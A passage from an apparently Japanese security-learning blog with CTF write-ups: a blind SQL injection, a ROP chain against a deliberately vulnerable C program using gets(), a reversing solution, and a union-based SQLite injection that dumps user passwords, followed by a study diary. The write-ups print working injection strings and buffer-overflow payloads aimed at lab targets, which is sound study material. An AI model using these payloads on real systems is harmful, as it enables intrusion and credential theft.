650ptだがサービスなSQLiの問題.フォームに何かを入力するとそれに応じて"You are so close."あるいは"Wrong."のYes/No的な返答が返ってくるのでBoolean-based blind SQLiを疑います.ご丁寧にも「SELECT * FROM answers WHERE answer='(フォームに打ち込んだ文字列)'」がクエリになっていることが示されているので,たとえば次のような文字列を入力すると,answerの2文字目のASCIIコード値が文字XのASCIIコード値より大きいかについて調べられます.
「' or SUBSTR(answer,2)>'X';--」
したがって,これとASCIIコード表を併用すれば,n文字目の文字が何であるか,二分探索により調べることができます.僕にはコーディング能力がないので,手動でこれを何回も行いました.疲れました.もしかしたら,pythonでクエリを送ってレスポンスから自動的に二分探索していく,ということができたかもしれません.
上記の入力をしているうちに,x文字目がすべての印字可能な文字のASCIIコードよりも小さくなります.それが文字列answerの終端です.
結果,answerの正体は,文字列"41AndSixSixths"でした.これを直接フォームに入力すると,フラグが得られます.
f:id:verliezer93764:20181026062100j:plain

rop chain

次のようなプログラムが渡されます.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdbool.h>

#define BUFSIZE 16

bool win1 = false;
bool win2 = false;


void win_function1() {
  win1 = true;
}

void win_function2(unsigned int arg_check1) {
  if (win1 && arg_check1 == 0xBAAAAAAD) {
    win2 = true;
  }
  else if (win1) {
    printf("Wrong Argument. Try Again.\n");
  }
  else {
    printf("Nope. Try a little bit harder.\n");
  }
}

void flag(unsigned int arg_check2) {
  char flag[48];
  FILE *file;
  file = fopen("flag.txt", "r");
  if (file == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(flag, sizeof(flag), file);
  
  if (win1 && win2 && arg_check2 == 0xDEADBAAD) {
    printf("%s", flag);
    return;
  }
  else if (win1 && win2) {
    printf("Incorrect Argument. Remember, you can call other functions in between each win function!\n");
  }
  else if (win1 || win2) {
    printf("Nice Try! You're Getting There!\n");
  }
  else {
    printf("You won't get the flag that easy..\n");
  }
}

void vuln() {
  char buf[16];
  printf("Enter your input> ");
  return gets(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  vuln();
}

この問題を解くには,次の手順が必要です.
1.vulnでBOFを起こす
2.サブルーチンwin_function1に入ってwin1をtrueにする
3.引数に0xBAAAAAADを指定しながら,サブルーチンwin_function2に入ってwin2をtrueにする
4.引数に0xDEADBAADを指定しながら,サブルーチンflagに入ってフラグを表示させる

まず,win_function1の先頭アドレスは0x080485cbなので,1と2を行うためには,bofを以下のように実行して,バッファを埋めてリターンアドレスをwin_function1の先頭アドレス0x080485cbに書き換えます.(実行はまだしないでください)

python -c 'print("A"*28+"\xcb\x85\x04\x08")' | ./rop

次に,3を起こすことを考えます.まずは,サブルーチンwin_function1からret命令により移動するリターンアドレスをwin_function2の先頭アドレス0x080485d8に書き換えます.

python -c 'print("A"*28+"\xcb\x85\x04\x08"+"\xd8\x85\x04\x08")' | ./rop

また,今回は引数として0xBAAAAAADを与える必要があります.そこで,引数はどのアドレスに入るかをIDAから見ることにします.次の図が,IDA上でみたwin_function2の一部です.
f:id:verliezer93764:20181026192543j:plain
これを見ると,$esp+8というアドレス以降に格納されている値と0xBAAAAAADを比較し,等しければwin1が1すなわちtrueになることがわかります.ebpにespを代入している時点で,espの値(指しているアドレス)は"A"*28+"\xcb\x85\x04\x08"+"\xd8\x85\x04\x08"のうち"\xd8"のアドレスになります.したがって,これから8大きいアドレスに0xBAAAAAADを入れてやればいいことになります.

python -c 'print("A"*28+"\xcb\x85\x04\x08"+"\xd8\x85\x04\x08"+"A"*4+"\xad\xaa\xaa\xba")' | ./rop

最後に,4を起こすことを考えます.まずは,サブルーチンwin_function2からret命令により移動するリターンアドレスをflagの先頭アドレス0x0804862Bに書き換えます.ret命令でpopされてeipに入るのは"A"*28+"\xcb\x85\x04\x08"+"\xd8\x85\x04\x08"+"A"*4+"\xad\xaa\xaa\xba"のうち"A"*4の部分なので,ここを"\x2b\x86\x04\x08"にします.

python -c 'print("A"*28+"\xcb\x85\x04\x08"+"\xd8\x85\x04\x08"+"\x2b\x86\x04\x08"+"\xad\xaa\xaa\xba")' | ./rop

また,今回は引数として0xDEADBAADを与える必要があります.しかし,先ほどと同様に,"A"*28+"\xcb\x85\x04\x08"+"\xd8\x85\x04\x08"+"\x2b\x86\x04\x08"+"\xad\xaa\xaa\xba"の"\x2b"が入るアドレスより8大きいアドレスに0xDEADBAADを入れてやればいいことになります.

python -c 'print("A"*28+"\xcb\x85\x04\x08"+"\xd8\x85\x04\x08"+"\x2b\x86\x04\x08"+"\xad\xaa\xaa\xba"+"\xad\xba\xad\xde")' | ./rop

したがって,問題サーバ上で

python -c 'print("A"*28+"\xcb\x85\x04\x08"+"\xd8\x85\x04\x08"+"\x2b\x86\x04\x08"+"\xad\xaa\xaa\xba"+"\xad\xba\xad\xde")' | ./rop

を打ち込めば,フラグを表示してくれます.
f:id:verliezer93764:20181026183205j:plain

CyberRebeatCTF 少しだけwrite-up

おそらくすでに超サイヤ人の方々が色々書かれていらっしゃるので,私は2問だけwrite-upを書きます...
レベル自体は自分にとって難しすぎることなく,楽しかったです!

SimpleBinary

64bitELFで,実行しても何も起こりません.ということで,IDAを使います.まず目を引くのは,26バイトの領域に即値を入れており,その26という長さもある領域に書き込んでいるということです.そしてその後,esiにバイト数の26(=0x1B),rdiに26バイトの最初のアドレスを格納し,sub_400546に渡します.
f:id:verliezer93764:20180909190907j:plain
sub_400546では,さらにvar_70からvar_Cまでの26バイトにかけて即値を代入しています.そして,その後は26回のループに入ります.したがって,このループではmainで定義した,あるいはsub_400546で定義した26バイトのバイト列について1バイトずつ何かしらの操作を行っていくと考えました.
f:id:verliezer93764:20180909191351j:plain
f:id:verliezer93764:20180909191608j:plain
あとはループの中でどのような操作が行われているか考えます.けっこう時間がかかってしまい,コメントでぐっちゃぐちゃになってしまいましたが,落ち着いて一行ずつ読んでいったところ,ここでは以下のpythonスクリプトと同様なことを行っていることがわかりました.Cで書いたほうが正確にできたなあ,と反省しています.なお,ループの最後でrdxの指すアドレスに操作結果の値を代入しているため,これが答えにつながると考え,表示を行っています.

import sys

input_26_chars =   [0x7B,0x69,0x43,0x43,0x20,0x2E,0x73,0x69,
                    0x74,0x68,0x20,0x74,0x27,0x75,0x20,0x46,
                    0x6E,0x7D,0x64,0x49,0x6D,0x54,0x67,0x61,
                    0x52,0x68]

plus_26_data = [0x03,0x0B,0x00,0x16,0x0F,0x16,0x13,0x0C,
                0x07,0x0B,0x0E,0x17,0x0F,0x17,0x01,0x14,
                0x14,0x01,0x11,0x14,0x09,0x03,0x01,0x0E,
                0x01,0x16]

for i in range(26):
    data1 = input_26_chars[i]
    tmp_char = data1

    data2 = plus_26_data[i]
    data3 = input_26_chars[data2]

    input_26_chars[i] = data3

    data4 = plus_26_data[i]
    input_26_chars[data4] = tmp_char

for i in range(26):
    sys.stdout.write("%s" % chr(input_26_chars[i]))

実行結果:CRCTF{It's a humid night.}

Uploader

まーたアップロードサイトの脆弱性を突く問題か…と思ったらSQLiの問題.
まずは定番,シングルクォーテーションマークをフォームにぶち込んでいく.するとFilename: のところでエラーが出ます.入力したfilenameをsql文で問い合わせている,といったところでしょう.
f:id:verliezer93764:20180909190716j:plain
というわけで,みんな大好き「' or '1'='1';--」を打ち込みます.すると,先ほど見えなかったユーザ"harada"によるzipファイル"secret.zip"が現れます.
f:id:verliezer93764:20180909222635j:plain
早速ダウンロードし,中にflag.txtがあることが確認されましたが,解凍するにはパスワードが必要です.そこで,サイトから更なる情報を求めます.具体的には,UserIDとPasswordを入れて,ログインするためのボタンがあるので,"harada"のIDとPassを取得し,"harada"のアカウントでログインすることを目指します.先ほどのエラー表示からsqlite3を使っていることが判明したので,googleでsqlite3のsqliについて調べます.しいて言えば,チートシートを調べます.
下記がいいでしょう.
github.com
まずは使用されているテーブルの名称がわからないと何もできないので,上の情報から「SELECT name FROM sqlite_master WHERE type='table'」または「SELECT sql FROM sqlite_master WHERE type='table'」を用いて,Union-based SQLiを行います.ちなみに,後者を行うとカラムの名称までわかるので,後者を使用します.ちなみに,今回の表ではカラムはID,FileName,Published,UploadUserの4つであることに注意し,「' union SELECT sql,1,1,1 FROM sqlite_master WHERE type='table';--」などと入力します.以下のような結果が返ってきます.
f:id:verliezer93764:20180909224947j:plain
したがって,最後に「' union select userid,password,1,1 from Users;--」を打ち込めばuserIDとPasswordがわかります.
f:id:verliezer93764:20180909225456j:plain
useridに"harada",Passwordに"seishin0129"を打ち込むと次のページが表示されます.
f:id:verliezer93764:20180909225716j:plain
この"554587c5adc54a2a2e6f"によってsecret.zipを解凍できます.
f:id:verliezer93764:20180909230130j:plain
CRCTF{Today's_internet_is_full_of_concerning_vulnerabilities}

2018年8月の進捗

8/23(thu.)
Python連立方程式計算機制作開始
ガウス消去法実装終了

8/24(fri.)
Python連立方程式計算機(一応PyseqSolverと呼んだ)で,係数行列の行列交換を実装.しかし解のない連立方程式を(例えばx+y+z=1,x+y+z=3)放り込むとある関数でゼロ徐算エラーになる.
・PySeqSolverの変数の方が方程式の個数より多い場合,一部を任意定数と置く機能を実装
・以前制作したC版SeqSolverと機能は同等になる
画像はx+2y=3,4x+5y=6を放り込んだ場合の実行結果です.
f:id:verliezer93764:20180825001354j:plain
・今後は行列交換の修正と色んなケースでテストをします.

8/25(sat.)
・PySeqSolver仮完成
f:id:verliezer93764:20180825233659p:plain
・「これ1冊でできる!ラズベリー・パイ超入門」購入

8/26(sun.)
Cpawctf2のネットワーク300問題に挑戦。足がかりはつかめた?

8/27(mon.)
あやしいホストを探したりしたが,結局解けず.

8/28
ない、やばい

8/29
ハリネズミ本ネットワーク問題1

8/30
なし

8/31
・パケット解析ツール制作に着手(仮名:pacanalyzer)
・pcapヘッダ解析終了,pcap-packetデータの読み取り機能が完成

進捗日記について

本日(2018/08/23)から毎日僕の進捗を載せていきます.目的は2つあります.

・勉強に集中するように自制するため

・初心者である自分がプロになるまでの道を残し,後世の初心者の参考になってほしいから

決して毎日大きい進捗を出せるとは思いませんが,心機一転がんばっていきます.